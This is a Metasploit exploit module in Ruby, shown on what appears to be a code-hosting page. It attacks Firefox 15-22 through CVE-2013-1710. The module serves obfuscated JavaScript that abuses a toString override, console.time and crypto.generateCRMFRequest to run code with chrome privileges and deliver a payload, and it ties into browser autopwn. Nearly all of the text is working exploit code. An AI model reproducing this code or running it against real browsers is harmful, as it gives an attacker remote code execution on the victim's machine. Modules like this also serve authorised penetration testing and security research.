Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/firefox_tostring_console_injection.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/exploitation/jsobfu'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::BrowserExploitServer11include Msf::Exploit::Remote::BrowserAutopwn12include Msf::Exploit::Remote::FirefoxPrivilegeEscalation1314autopwn_info({15:ua_name => HttpClients::FF,16:ua_minver => "15.0",17:ua_maxver => "22.0",18:javascript => true,19:rank => ExcellentRanking20})2122def initialize(info = {})23super(update_info(info,24'Name' => 'Firefox toString console.time Privileged Javascript Injection',25'Description' => %q{26This exploit gains remote code execution on Firefox 15-22 by abusing two separate27Javascript-related vulnerabilities to ultimately inject malicious Javascript code28into a context running with chrome:// privileges.29},30'License' => MSF_LICENSE,31'Author' => [32'moz_bug_r_a4', # discovered CVE-2013-171033'Cody Crews', # discovered CVE-2013-167034'joev' # metasploit module35],36'DisclosureDate' => '2013-05-14',37'References' => [38['CVE', '2013-1710'] # chrome injection39],40'Targets' => [41[42'Universal (Javascript XPCOM Shell)', {43'Platform' => 'firefox',44'Arch' => ARCH_FIREFOX45}46],47[48'Native Payload', {49'Platform' => %w{ java linux osx solaris win },50'Arch' => ARCH_ALL51}52]53],54'DefaultTarget' => 0,55'BrowserRequirements' => {56:source => 'script',57:ua_name => HttpClients::FF,58:ua_ver => lambda { |ver| ver.to_i.between?(15, 22) }59}60))6162register_options([63OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])64])65end6667def on_request_exploit(cli, request, target_info)68send_response_html(cli, generate_html(target_info))69end7071def generate_html(target_info)72key = Rex::Text.rand_text_alpha(5 + rand(12))73opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin7475js = js_obfuscate %Q|76var opts = #{JSON.unparse(opts)};77var key = opts['#{key}'];78var y = {}, q = false;79y.constructor.prototype.toString=function() {80if (q) return;81q = true;82crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex");83return 5;84};85console.time(y);86|8788%Q|89<!doctype html>90<html>91<body>92<script>93#{js}94</script>95#{datastore['CONTENT']}96</body>97</html>98|99end100end101102103104